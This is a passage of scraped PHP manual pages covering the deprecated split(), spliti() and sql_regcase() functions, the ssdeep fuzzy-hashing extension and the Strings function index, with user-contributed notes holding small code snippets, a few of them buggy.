 Same when I tried to substitute "\n" by any other thing. :(
not at anythingspecial dot com 16-Jun-2002 06:48
If you need to do a split on a period make sure you escape the period out..

$ext_arr = split("\.","something.jpg");
... because
$ext_arr = split(".","something.jpg"); won't work properly.
kang at elpmis dot com 12-Jun-2002 11:30
This is a good way to display a comma delimited file with two columns.  The first column is the URL's description, the second is the actual URL.

<ul>
<?php
  $fname="relatedlinks.csv";
  $fp=fopen($fname,"r") or die("Error found.");
  $line = fgets( $fp, 1024 );
  while(!feof($fp))
  {
    list($desc,$url,$dummy) = split( ",", $line, 3 );
    print "<li>";
    print "<a href='$url'>$desc</a>";
    print "</li>\n";
    $line = fgets( $fp, 1024 );
  }
  fclose($fp);
?>
</ul>
jchart at sdccu dot net 31-May-2002 12:56
[Ed. note: Close. The pipe *is* an operator in PHP, but
the reason this fails is because it's also an operator
in the regex syntax. The distinction here is important
since a PHP operator inside a string is just a character.]

The reason your code:

$line = "12|3|Fred";
list ($msgid, $msgref, $msgtopic)=split('|', $line);

didn't work is because the "|" symbol is an operator in PHP. If you want to use the pipe symbol as a delimiter you must excape it with a back slash, "\|". You code should look like this:

$line = "12|3|Fred";
list ($msgid, $msgref, $msgtopic)=split('\|', $line);
mcgarry at tig dot com dot au 17-May-2002 03:27
split() doesn't like NUL characters within the string, it treats the first one it meets as the end of the string, so if you have data you want to split that can contain a NUL character you'll need to convert it into something else first, eg:

$line=str_replace(chr(0),'',$line);
eregi
spliti
POSIX Regex Functions


Split string into array by regular expression case insensitive

split
sql_regcase
POSIX Regex Functions
PHP Manual

spliti

(PHP 4 >= 4.0.1, PHP 5)

spliti — Split string into array by regular expression case insensitive

Description

array spliti ( string $pattern , string $string [, int $limit = -1 ] )

Splits a string into array by regular expression.

This function is identical to split() except that this ignores case distinction when matching alphabetic characters.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

pattern

Case insensitive regular expression.

If you want to split on any of the characters which are considered special by regular expressions, you'll need to escape them first. If you think spliti() (or any other regex function, for that matter) is doing something weird, please read the file regex.7, included in the regex/ subdirectory of the PHP distribution. It's in manpage format, so you'll want to do something along the lines of man /usr/local/src/regex/regex.7 in order to read it.

string

The input string.

limit

If limit is set, the returned array will contain a maximum of limit elements with the last element containing the whole rest of string.

Return Values

Returns an array of strings, each of which is a substring of string formed by splitting it on boundaries formed by the case insensitive regular expression pattern.

If there are n occurrences of pattern, the returned array will contain n+1 items. For example, if there is no occurrence of pattern, an array with only one element will be returned. Of course, this is also true if string is empty. If an error occurs, spliti() returns FALSE.

Examples

This example splits a string using 'a' as the separator :

Example #1 spliti() example

<?php
$string = "aBBBaCCCADDDaEEEaGGGA";
$chunks = spliti ("a", $string, 5);
print_r($chunks);
?>

The above example will output:

Array
(
  [0] =>
  [1] => BBB
  [2] => CCC
  [3] => DDD
  [4] => EEEaGGGA
)

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

See Also

  • preg_split() - Split string by a regular expression
  • split() - Split string into array by regular expression
  • explode() - Split a string by string
  • implode() - Join array elements with a string

User Contributed Notes

jeffmixpute 25-Jan-2011 02:41
This example shows the use of spliti.
Here it splits the path of the server as it can be used further.

<?php

require_once 'Beispiel.php';
$seq = new Sequence();

$path = $_SERVER["PATH_INFO"];

echo "PATH: ".$path."<br/>";
echo "Request mode: ".$_SERVER["REQUEST_METHOD"]."<br/>";

$daten = spliti ("/", $path);

echo "get-daten[1] ".$daten[1]."<br/>";

if($_SERVER["REQUEST_METHOD"]== "POST"){
  echo "POST".$daten[1];
  $seq->setzeSequence($daten[1], $_POST["xml"]);
}
elseif($_SERVER["REQUEST_METHOD"] == "DELETE"){
  echo "DELETE".$daten[1];
  $seq->loescheSequence($daten[1]);
}
elseif($_SERVER["REQUEST_METHOD"] == "GET"){

$antwort = $seq->holeSequence($daten[1]);
  echo "antwort[0]: ".$antwort[0]."<br/>";
  foreach($antwort as $mes){
   echo "mes ".$mes."<br/>";
   }
}

?>
16-Apr-2004 11:22
When using special characters such as the tab placeholder "\t" in the split function, be careful not to escape the slash by adding a slah in front of it. To signify a tab, new line or carriage return use only one slash in front of the character. For example:

$cartes= "one\ttwo\tthree";

$tab_cartes = split("\t",$cartes );

$items = count($tab_cartes);
for ($x = 0; $x < $items; $x++)
   { echo $tab_cartes[$x] . "\n"; }
vbelon at hotmail dot com 27-Jan-2004 06:51
To split $cartes which contains data and tabulations:
Doesnt work :
$tab_cartes = split("\\t",$cartes );

But \t = char(9), so, works well:
$tab_cartes = split(Chr(9),$cartes);

Idem for :
\n = char(10)
\r = char(13)

Found in http://www.asp-magazine.com/fr/asp/blitz/blitz4.asp
split
sql_regcase
POSIX Regex Functions


Make regular expression for case insensitive match

spliti
ssdeep
POSIX Regex Functions
PHP Manual

sql_regcase

(PHP 4, PHP 5)

sql_regcase — Make regular expression for case insensitive match

Description

string sql_regcase ( string $string )

Creates a regular expression for a case insensitive match.

Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Parameters

string

The input string.

Return Values

Returns a valid regular expression which will match string, ignoring case. This expression is string with each alphabetic character converted to a bracket expression; this bracket expression contains that character's uppercase and lowercase form. Other characters remain unchanged.

Examples

Example #1 sql_regcase() example

<?php
echo sql_regcase("Foo - bar.");
?>

The above example will output:

[Ff][Oo][Oo] - [Bb][Aa][Rr].

This can be used to achieve case insensitive pattern matching in products which support only case sensitive regular expressions.

Notes

Note:

As of PHP 5.3.0, the regex extension is deprecated in favor of the PCRE extension. Calling this function will issue an E_DEPRECATED notice. See the list of differences for help on converting to PCRE.

User Contributed Notes

irker SOBACHKA irker DOT net 28-Sep-2008 02:14
<?php
function mb_sql_regcase($string,$encoding='auto'){
  $max=mb_strlen($item,$encoding);
  for ($i = 0; $i < $max; $i++) {
    $char=mb_substr($item,$i,1,$encoding);
    $up=mb_strtoupper ($char,$encoding);
    $low=mb_strtolower($char,$encoding);
    $ret.=($up!=$low)?'['.$up.$low.']' : $char;
  }
  return $ret;
}
?>
edge at gts dot smtn dot stavropol dot ru 25-Jun-2003 06:56
if you set right locale:

setlocale(LC_CTYPE,"ru_RU.KOI8-R");

print sql_regcase("Цffnung");

will output:
"[Цц][Ff][Ff][Nn][Uu][Nn][Gg]"
spliti
ssdeep
POSIX Regex Functions


ssdeep Fuzzy Hashing

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • ssdeep Functions
    • ssdeep_fuzzy_compare — Calculates the match score between two fuzzy hash signatures
    • ssdeep_fuzzy_hash_filename — Create a fuzzy hash from a file
    • ssdeep_fuzzy_hash — Create a fuzzy hash from a string

User Contributed Notes

There are no user contributed notes for this page.
sql_regcase
Introduction
Text Processing


Introduction

ssdeep is a utility for creating and comparing fuzzy hashes or » context-triggered piecewise hashing.

Fuzzy hashing can match signatures which have "...sequences of identical bytes in the same order, although bytes in between these sequences may be different in both content and length". (» ssdeep project page)

This extension provides functions for creating and comparing fuzzy hashes.

User Contributed Notes

There are no user contributed notes for this page.
ssdeep
Installing/Configuring
ssdeep


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
ssdeep


Requirements

This extension requires the » ssdeep library.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ssdeep.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
ssdeep Functions
ssdeep


ssdeep Functions

Table of Contents

  • ssdeep_fuzzy_compare — Calculates the match score between two fuzzy hash signatures
  • ssdeep_fuzzy_hash_filename — Create a fuzzy hash from a file
  • ssdeep_fuzzy_hash — Create a fuzzy hash from a string

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
ssdeep_fuzzy_compare
ssdeep


Calculates the match score between two fuzzy hash signatures

ssdeep Functions
ssdeep_fuzzy_hash_filename
ssdeep Functions
PHP Manual

ssdeep_fuzzy_compare

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_compare — Calculates the match score between two fuzzy hash signatures

Description

int ssdeep_fuzzy_compare ( string $signature1 , string $signature2 )

Calculates the match score between signature1 and signature2 using » context-triggered piecewise hashing, and returns the match score.

Parameters

signature1

The first fuzzy hash signature string.

signature2

The second fuzzy hash signature string.

Return Values

Returns an integer from 0 to 100 on success, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
ssdeep Functions
ssdeep_fuzzy_hash_filename
ssdeep Functions


Create a fuzzy hash from a file

ssdeep_fuzzy_compare
ssdeep_fuzzy_hash
ssdeep Functions
PHP Manual

ssdeep_fuzzy_hash_filename

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_hash_filename — Create a fuzzy hash from a file

Description

string ssdeep_fuzzy_hash_filename ( string $file_name )

ssdeep_fuzzy_hash_filename() calculates the hash of the file specified by file_name using » context-triggered piecewise hashing, and returns that hash.

Parameters

file_name

The filename of the file to hash.

Return Values

Returns a string on success, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
ssdeep_fuzzy_compare
ssdeep_fuzzy_hash
ssdeep Functions


Create a fuzzy hash from a string

ssdeep_fuzzy_hash_filename
Strings
ssdeep Functions
PHP Manual

ssdeep_fuzzy_hash

(PECL ssdeep >= 1.0.0)

ssdeep_fuzzy_hash — Create a fuzzy hash from a string

Description

string ssdeep_fuzzy_hash ( string $to_hash )

ssdeep_fuzzy_hash() calculates the hash of to_hash using » context-triggered piecewise hashing, and returns that hash.

Parameters

to_hash

The input string.

Return Values

Returns a string on success, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
ssdeep_fuzzy_hash_filename
Strings
ssdeep Functions


Strings

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • String Functions
    • addcslashes — Quote string with slashes in a C style
    • addslashes — Quote string with slashes
    • bin2hex — Convert binary data into hexadecimal representation
    • chop — Alias of rtrim
    • chr — Return a specific character
    • chunk_split — Split a string into smaller chunks
    • convert_cyr_string — Convert from one Cyrillic character set to another
    • convert_uudecode — Decode a uuencoded string
    • convert_uuencode — Uuencode a string
    • count_chars — Return information about characters used in a string
    • crc32 — Calculates the crc32 polynomial of a string
    • crypt — One-way string hashing
    • echo — Output one or more strings
    • explode — Split a string by string
    • fprintf — Write a formatted string to a stream
    • get_html_translation_table — Returns the translation table used by htmlspecialchars and htmlentities
    • hebrev — Convert logical Hebrew text to visual text
    • hebrevc — Convert logical Hebrew text to visual text with newline conversion
    • hex2bin — Convert hex to binary
    • html_entity_decode — Convert all HTML entities to their applicable characters
    • htmlentities — Convert all applicable characters to HTML entities
    • htmlspecialchars_decode — Convert special HTML entities back to characters
    • htmlspecialchars — Convert special characters to HTML entities
    • implode — Join array elements with a string
    • join — Alias of implode
    • lcfirst — Make a string's first character lowercase
    • levenshtein — Calculate Levenshtein distance between two strings
    • localeconv — Get numeric formatting information
    • ltrim — Strip whitespace (or other characters) from the beginning of a string
    • md5_file — Calculates the md5 hash of a given file
    • md5 — Calculate the md5 hash of a string
    • metaphone — Calculate the metaphone key of a string
    • money_format — Formats a number as a currency string
    • nl_langinfo — Query language and locale information
    • nl2br — Inserts HTML line breaks before all newlines in a string
    • number_format — Format a number with grouped thousands
    • ord — Return ASCII value of character
    • parse_str — Parses the string into variables
    • print — Output a string
    • printf — Output a formatted string
    • quoted_printable_decode — Convert a quoted-printable string to an 8 bit string
    • quoted_printable_encode — Convert a 8 bit string to a quoted-printable string
    • quotemeta — Quote meta characters
    • rtrim — Strip whitespace (or other characters) from the end of a string
    • setlocale — Set locale information
    • sha1_file — Calculate the sha1 hash of a file
    • sha1 — Calculate the sha1 hash of a string
    • similar_text — Calculate the similarity between two strings
    • soundex — Calculate the soundex key of a string
    • sprintf — Return a formatted string
    • sscanf — Parses input from a string according to a format
    • str_getcsv — Parse a CSV string into an array
    • str_ireplace — Case-insensitive version of str_replace.
    • str_pad — Pad a string to a certain length with another string
    • str_repeat — Repeat a string
    • str_replace — Replace all occurrences of the search string with the replacement string
    • str_rot13 — Perform the rot13 transform on a string
    • str_shuffle — Randomly shuffles a string
    • str_split — Convert a string to an array
    • str_word_count — Return information about words used in a string
    • strcasecmp — Binary safe case-insensitive string comparison
    • strchr — Alias of strstr
    • strcmp — Binary safe string comparison
    • strcoll — Locale based string comparison
    • strcspn — Find length of initial segment not matching mask
    • strip_tags — Strip HTML and PHP tags from a string
    • stripcslashes — Un-quote string quoted with addcslashes
    • stripos — Find the position of the first occurrence of a case-insensitive substring in a string
    • stripslashes — Un-quotes a quoted string
    • stristr — Case-insensitive strstr
    • strlen — Get string length
    • strnatcasecmp — Case insensitive string comparisons using a "natural order" algorithm
    • strnatcmp — String comparisons using a "natural order" algorithm
    • strncasecmp — Binary safe case-insensitive string comparison of the first n characters
    • strncmp — Binary safe string comparison of the first n characters
    • strpbrk — Search a string for any of a set of characters
    • strpos — Find the position of the first occurrence of a substring in a string
    • strrchr — Find the last occurrence of a character in a string
    • strrev — Reverse a string
    • strripos — Find the position of the last occurrence of a case-insensitive substring in a string
    • strrpos — Find the position of the last occurrence of a substring in a string
    • strspn — Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask.
    • strstr — Find the first occurrence of a string
    • strtok — Tokenize string
    • strtolower — Make a string lowercase
    • strtoupper — Make a string uppercase
    • strtr — Translate characters or replace substrings
    • substr_compare — Binary safe comparison of two strings from an offset, up to length characters
    • substr_count — Count the number of substring occurrences
    • substr_replace — Replace text within a portion of a string
    • substr — Return part of a string
    • trim — Strip whitespace (or other characters) from the beginning and end of a string
    • ucfirst — Make a string's first character uppercase
    • ucwords — Uppercase the first character of each word in a string
    • vfprintf — Write a formatted string to a stream
    • vprintf — Output a formatted string
    • vsprintf — Return a formatted string
    • wordwrap — Wraps a string to a given number of characters

User Contributed Notes

There are no user contributed notes for this page.
ssdeep_fuzzy_hash
Introduction
Text Processing


Introduction

These functions all manipulate strings in various ways. Some more specialized sections can be found in the regular expression and URL handling sections.

For information on how strings behave, especially with regard to usage of single quotes, double quotes, and escape sequences, see the Strings entry in the Types section of the manual.

User Contributed Notes

chris at bjelleklang dot org 27-Oct-2010 05:00
Please note that these String functions does not handle multibyte encodings such as UTF-8. Use the functions found in Multibyte String for these encodings.
Strings
Installing/Configuring
Strings


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Strings


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

CRYPT_SALT_LENGTH integer
CRYPT_STD_DES integer
CRYPT_EXT_DES integer
CRYPT_MD5 integer
CRYPT_BLOWFISH integer
HTML_SPECIALCHARS (integer)
HTML_ENTITIES (integer)
ENT_COMPAT (integer)
ENT_QUOTES (integer)
ENT_NOQUOTES (integer)
CHAR_MAX (integer)
LC_CTYPE (integer)
LC_NUMERIC (integer)
LC_TIME (integer)
LC_COLLATE (integer)
LC_MONETARY (integer)
LC_ALL (integer)
LC_MESSAGES (integer)
STR_PAD_LEFT (integer)
STR_PAD_RIGHT (integer)
STR_PAD_BOTH (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
String Functions
Strings


String Functions

See Also

For even more powerful string handling and manipulating functions take a look at the POSIX regular expression functions and the Perl compatible regular expression functions.

Table of Contents

  • addcslashes — Quote string with slashes in a C style
  • addslashes — Quote string with slashes
  • bin2hex — Convert binary data into hexadecimal representation
  • chop — Alias of rtrim
  • chr — Return a specific character
  • chunk_split — Split a string into smaller chunks
  • convert_cyr_string — Convert from one Cyrillic character set to another
  • convert_uudecode — Decode a uuencoded string
  • convert_uuencode — Uuencode a string
  • count_chars — Return information about characters used in a string
  • crc32 — Calculates the crc32 polynomial of a string
  • crypt — One-way string hashing
  • echo — Output one or more strings
  • explode — Split a string by string
  • fprintf — Write a formatted string to a stream
  • get_html_translation_table — Returns the translation table used by htmlspecialchars and htmlentities
  • hebrev — Convert logical Hebrew text to visual text
  • hebrevc — Convert logical Hebrew text to visual text with newline conversion
  • hex2bin — Convert hex to binary
  • html_entity_decode — Convert all HTML entities to their applicable characters
  • htmlentities — Convert all applicable characters to HTML entities
  • htmlspecialchars_decode — Convert special HTML entities back to characters
  • htmlspecialchars — Convert special characters to HTML entities
  • implode — Join array elements with a string
  • join — Alias of implode
  • lcfirst — Make a string's first character lowercase
  • levenshtein — Calculate Levenshtein distance between two strings
  • localeconv — Get numeric formatting information
  • ltrim — Strip whitespace (or other characters) from the beginning of a string
  • md5_file — Calculates the md5 hash of a given file
  • md5 — Calculate the md5 hash of a string
  • metaphone — Calculate the metaphone key of a string
  • money_format — Formats a number as a currency string
  • nl_langinfo — Query language and locale information
  • nl2br — Inserts HTML line breaks before all newlines in a string
  • number_format — Format a number with grouped thousands
  • ord — Return ASCII value of character
  • parse_str — Parses the string into variables
  • print — Output a string
  • printf — Output a formatted string
  • quoted_printable_decode — Convert a quoted-printable string to an 8 bit string
  • quoted_printable_encode — Convert a 8 bit string to a quoted-printable string
  • quotemeta — Quote meta characters
  • rtrim — Strip whitespace (or other characters) from the end of a string
  • setlocale — Set locale information
  • sha1_file — Calculate the sha1 hash of a file
  • sha1 — Calculate the sha1 hash of a string
  • similar_text — Calculate the similarity between two strings
  • soundex — Calculate the soundex key of a string
  • sprintf — Return a formatted string
  • sscanf — Parses input from a string according to a format
  • str_getcsv — Parse a CSV string into an array
  • str_ireplace — Case-insensitive version of str_replace.
  • str_pad — Pad a string to a certain length with another string
  • str_repeat — Repeat a string
  • str_replace — Replace all occurrences of the search string with the replacement string
  • str_rot13 — Perform the rot13 transform on a string
  • str_shuffle — Randomly shuffles a string
  • str_split — Convert a string to an array
  • str_word_count — Return information about words used in a string
  • strcasecmp — Binary safe case-insensitive string comparison
  • strchr — Alias of strstr
  • strcmp — Binary safe string comparison
  • strcoll — Locale based string comparison
  • strcspn — Find length of initial segment not matching mask
  • strip_tags — Strip HTML and PHP tags from a string
  • stripcslashes — Un-quote string quoted with addcslashes
  • stripos — Find the position of the first occurrence of a case-insensitive substring in a string
  • stripslashes — Un-quotes a quoted string
  • stristr — Case-insensitive strstr
  • strlen — Get string length
  • strnatcasecmp — Case insensitive string comparisons using a "natural order" algorithm
  • strnatcmp — String comparisons using a "natural order" algorithm
  • strncasecmp — Binary safe case-insensitive string comparison of the first n characters
  • strncmp — Binary safe string comparison of the first n characters
  • strpbrk — Search a string for any of a set of characters
  • strpos — Find the position of the first occurrence of a substring in a string
  • strrchr — Find the last occurrence of a character in a string
  • strrev — Reverse a string
  • strripos — Find the position of the last occurrence of a case-insensitive substring in a string
  • strrpos — Find the position of the last occurrence of a substring in a string
  • strspn — Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask.
  • strstr — Find the first occurrence of a string
  • strtok — Tokenize string
  • strtolower — Make a string lowercase
  • strtoupper — Make a string uppercase
  • strtr — Translate characters or replace substrings
  • substr_compare — Binary safe comparison of two strings from an offset, up to length characters
  • substr_count — Count the number of substring occurrences
  • substr_replace — Replace text within a portion of a string
  • substr — Return part of a string
  • trim — Strip whitespace (or other characters) from the beginning and end of a string
  • ucfirst — Make a string's first character uppercase
  • ucwords — Uppercase the first character of each word in a string
  • vfprintf — Write a formatted string to a stream
  • vprintf — Output a formatted string
  • vsprintf — Return a formatted string
  • wordwrap — Wraps a string to a given number of characters

User Contributed Notes

Peter -the pete- de Pijd 14-Oct-2009 05:01
get the intersection of two strings; may not have optimal performance

<?php
function mb_string_intersect($string1, $string2, $minChars = 5)
{
    assert('$minChars > 1');

    $string1 = trim($string1);
    $string2 = trim($string2);

    $length1 = mb_strlen($string1);
    $length2 = mb_strlen($string2);

    if ($length1 > $length2) {
        // swap variables, shortest first

        $string3 = $string1;
        $string1 = $string2;
        $string2 = $string3;

        $length3 = $length1;
        $length1 = $length2;
        $length2 = $length3;

        unset($string3, $length3);
    }

    if ($length2 > 255) {
        return null; // to much calculation required
    }

    for ($l = $length1; $l >= $minChars; --$l) { // length
        for ($i = 0, $ix = $length1 - $l; $i <= $ix; ++$i) { // index
            $substring1 = mb_substr($string1, $i, $l);
            $found = mb_strpos($string2, $substring1);
            if ($found !== false) {
                return trim(mb_substr($string2, $found, mb_strlen($substring1)));
            }
        }
    }

    return null;
}
echo mb_string_intersect("hello spencer", "hey spencer how are you?"); // output "spencer"
?>
Stephen Dewey 19-Nov-2008 05:33
If you want a function to return all text in a string up to the Nth occurrence of a substring, try the below function.

Works in PHP >= 5.

(Pommef provided another sample function for this purpose below, but I believe it is incorrect.)

<?php

// Returns all of $haystack up to (but excluding) the $n_occurrence occurrence of $needle. Therefore:
//        If there are < $n_occurrence occurrences of $needle in $haystack, the entire string will be returned.
//        If there are >= $n_occurrence occurrences of $needle in $haystack, the returned string will end before the $n_occurrence'th needle.
// This function only makes sense for $n_occurrence >= 1
function nsubstr($needle, $haystack, $n_occurrence)
{
    // After exploding by $needle, every entry in $arr except (possibly) part of the last entry should have its content returned.
    $arr = explode($needle,$haystack,$n_occurrence);
    // Examine last entry in $arr. If it contains $needle, cut out all text except for the text before $needle.
    $last = count($arr) - 1;
    $pos_in_last = strpos($arr[$last],$needle);

    if ($pos_in_last !== false)
        $arr[$last] = substr($arr[$last],0,$pos_in_last);

    return implode($needle,$arr);
}

$string = 'd24jkdslgjldk2424jgklsjg24jskgldjk24';

print 'S:  ' . $string . '<br>';
print '1: ' . nsubstr('24',$string,1) . '<br>';
print '2: ' . nsubstr('24',$string,2) . '<br>';
print '3: ' . nsubstr('24',$string,3) . '<br>';
print '4: ' . nsubstr('24',$string,4) . '<br>';
print '5: ' . nsubstr('24',$string,5) . '<br>';
print '6: ' . nsubstr('24',$string,6) . '<br>';
print '7: ' . nsubstr('24',$string,7) . '<br>';

/*
// prints:
S: d24jkdslgjldk2424jgklsjg24jskgldjk24
1: d
2: d24jkdslgjldk
3: d24jkdslgjldk24
4: d24jkdslgjldk2424jgklsjg
5: d24jkdslgjldk2424jgklsjg24jskgldjk
6: d24jkdslgjldk2424jgklsjg24jskgldjk24
7: d24jkdslgjldk2424jgklsjg24jskgldjk24
*/

?>

Note that this function can be combined with wordwrap() to accomplish a routine but fairly difficult web design goal, namely, limiting inline HTML text to a certain number of lines. wordwrap() can break your string using <br>, and then you can use this function to only return text up to the N'th <br>.

You will still have to make a conservative guess of the max number of characters per line with wordwrap(), but you can be more precise than if you were simply truncating a multiple-line string with substr().

See example:

<?php

$text = 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu dolor suscipit sem, tristique convallis ante ante id diam. Curabitur mollis, lacus vel gravida accumsan, enim quam condimentum est, vitae rutrum neque magna ac enim.';

$wrapped_text = wordwrap($text,100,'<br>',true);

$three_lines = nsubstr('<br>',$wrapped_text,3);

print '<br><br>' . $three_lines;

$four_lines = nsubstr('<br>',$wrapped_text,4);

print '<br><br>' . $four_lines;

/*
prints:

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin
ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis
mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Pellentesque id massa. Duis sollicitudin
ipsum vel diam. Aliquam pulvinar sagittis felis. Nullam hendrerit semper elit. Donec convallis
mollis risus. Cras blandit mollis turpis. Vivamus facilisis, sapien at tincidunt accumsan, arcu
dolor suscipit sem, tristique convallis ante ante id diam. Curabitur mollis, lacus vel gravida

*/

?>
kriskra at gmail dot com 04-Aug-2008 04:10
In reference to Moe... best random string function
<?php
function random_string($l = 10){
    $c = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxwz0123456789";
    for(;$l > 0;$l--) $s .= $c{rand(0,strlen($c))};
    return str_shuffle($s);
}
?>
Salomon 28-Mar-2008 02:43
If you want to indent a block of text with $level tabs, you can use

function str_indent($level, $text) {
    return str_repeat("\t", $level).str_replace("\n", "\n".str_repeat("\t", $level), $text);
}
Verdauga 19-Mar-2008 06:06
Just a note in regards to bloopletech a few posts down:

The word "and" should not be used when converting numbers to text.  "And" (at least in US English) should only be used to indicate the decimal place.

Example:
1,796,706 => one million, seven hundred ninety-six thousand, seven hundred six.
594,359.34 => five hundred ninety four thousand, three hundred fifty nine and thirty four hundredths
geek dot de at gmail dot com 07-Jan-2008 03:18
This took me quite some time to figure out and it is so obvious. So, I hope it helps someone out there like it would have helped me if I would have found it on this page:

I wanted to read a binary file and write it out with some modified bytes with their hex values. The easiest way I could come up with was the following:

read the file line by line, e.g. 400 bytes and then chuck it into an array with e.g.

<?php
$handle = @fopen("/path/to/file.bin", "r");
if ($handle) {
    while (!feof($handle)) {
        $buffer[] = fgets($handle, 400);
    }
    fclose($handle);
    $buffer[0][0] = chr(hexdec("FF")); // set the first byte to 0xFF
}
// write out the file from the array ...
?>

One could write a function for that, so that One can write a string of bytes. Don't have time for this now but you should get the idea.
m 26-Jul-2007 05:10
Regarding the code for the function beginsWith($str, $sub), I found that it has problems when only one character is present after the string searched for. I found that this works better instead:

<?php
function beginsWith($str, $sub) {
    return (strncmp($str, $sub, strlen($sub)) == 0);
}
?>
Moe 10-Jul-2007 06:44
In responce to mike here is a better random string function

<?php
    function random_string($max = 20){
        $chars = "abcdefghijklmnopqrstuvwxwz0123456789_";
        for($i = 0; $i < $max; $i++){
            $rand_key = mt_rand(0, strlen($chars));
            $string  .= substr($chars, $rand_key, 1);
        }
        return str_shuffle($string);
    }
?>
mike &#34;eyes&#34; moe 17-Jun-2007 05:59
Here is a truly random string generator it uses the most common string functions it will work on anywhere.

<?php
    function random_string($max = 20){
        $chars = explode(" ", "a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9");
        for($i = 0; $i < $max; $i++){
            $rnd = array_rand($chars);
            $rtn .= base64_encode(md5($chars[$rnd]));
        }
        return substr(str_shuffle(strtolower($rtn)), 0, $max);
    }
?>
bloopletech at gmail dot com 22-May-2007 06:05
[Editor's Note: Remember that number names are locale-specific. Thus in the US 1,000,000,000 is called a billion, while in other countries this might be different (ie. miljard in Dutch). This function provides support only for the US locale]

If you want to convert a number, (int or float) to full spoken text, then you can use my num2text converter, at http://bloople.net/num2text

Examples:
40000 => forty thousand
1,796,706 => one million, seven hundred and ninety-six thousand, seven hundred and six.

If works for positive an negative integers/floats/doubles. The code is only a page long, and you don't have to install any modules or anything.

I hope this comes in handy for somebody!
benjamin at webbutvecklarna dot se 25-Mar-2007 04:23
An update to admin at fivestarbuy dot com's StrParse. Since php5.2.x the occurance of an object in the vardata will cause a "Catchable fatal error". Previously it has failed silently, so I added nullification of present objects.
I also updated comments to be more specific, I hope that's ok with you, admin at fivestarbuy dot com:

<?php
function StrParse($str,$vardata) {

# Variables present in $str is replaced by values of variables in $vardata
# typical use:
# $vardata = get_defined_vars();
# $str = some template code with variables present.
# uncomment the echo line to debug.

$getvarkeys=array_keys($vardata);
$ret=$str;
for ($x=0; $x < count($getvarkeys); $x++) {
   $myvar=$getvarkeys[$x];
   if(is_object($vardata[$myvar])) $vardata[$myvar] = null;
   #echo "Variable: " . $myvar . " [" . $vardata[$myvar] . "]<br>";
   $ret=str_replace('$' . $myvar, $vardata[$myvar], $ret);
}
return $ret;
}
?>
beggining pro 02-Aug-2006 11:00
Well for you egold users out ther I wrote this to just return the balance ONLY
If anyone knows a better way to write this lemme know as im a novice

    function _GetBalance($from, $frompass) {
   $defined_vars = get_defined_vars();

   $_url = 'https://www.e-gold.com/acct/balance.asp';

        $_url_p = "AccountID=" . $from . "&PassPhrase=" . $frompass ."";
           $ch = curl_init();

   curl_setopt($ch, CURLOPT_POST,1);
   curl_setopt($ch, CURLOPT_POSTFIELDS,$_url_p);
   curl_setopt($ch, CURLOPT_URL,$_url);
   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  2);
   curl_setopt($ch, CURLOPT_USERAGENT, $defined_vars['HTTP_USER_AGENT']);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
   $content = curl_exec ($ch);

   curl_close ($ch);
$content=strtolower($content);
$content=strstr($content,"</select></font></th></form></tr>");
$content=strip_tags($content);
$content=strrev($content);
$content=strstr($content,"eseht :eton");
$content=str_replace("eseht :eton","",$content);
$content=ltrim($content);
$content=rtrim($content);
$content=substr($content,0,11);
$content=strrev($content);
$content=ltrim($content);

   return $content;

    }
admin at rotarymulundeast dot org 30-Jul-2006 03:16
Here's an easier way to find nth...

function nth($numbex){
  if ($numbex%10 == 1 && $numbex%100 != 11) $sth='st';
  elseif ($numbex%10 == 2 && $numbex%100 != 12) $sth='nd';
  elseif ($numbex%10 == 3 && $numbex%100 != 13) $sth='rd';
  else $sth = 'th';
  return $sth;
}

there is is no need to check if the user has entered a non-integer as we may be using this function for expressing variables as well eg. ith value of x , nth root of z ,etc...
heavyraptor 27-Jul-2006 08:17
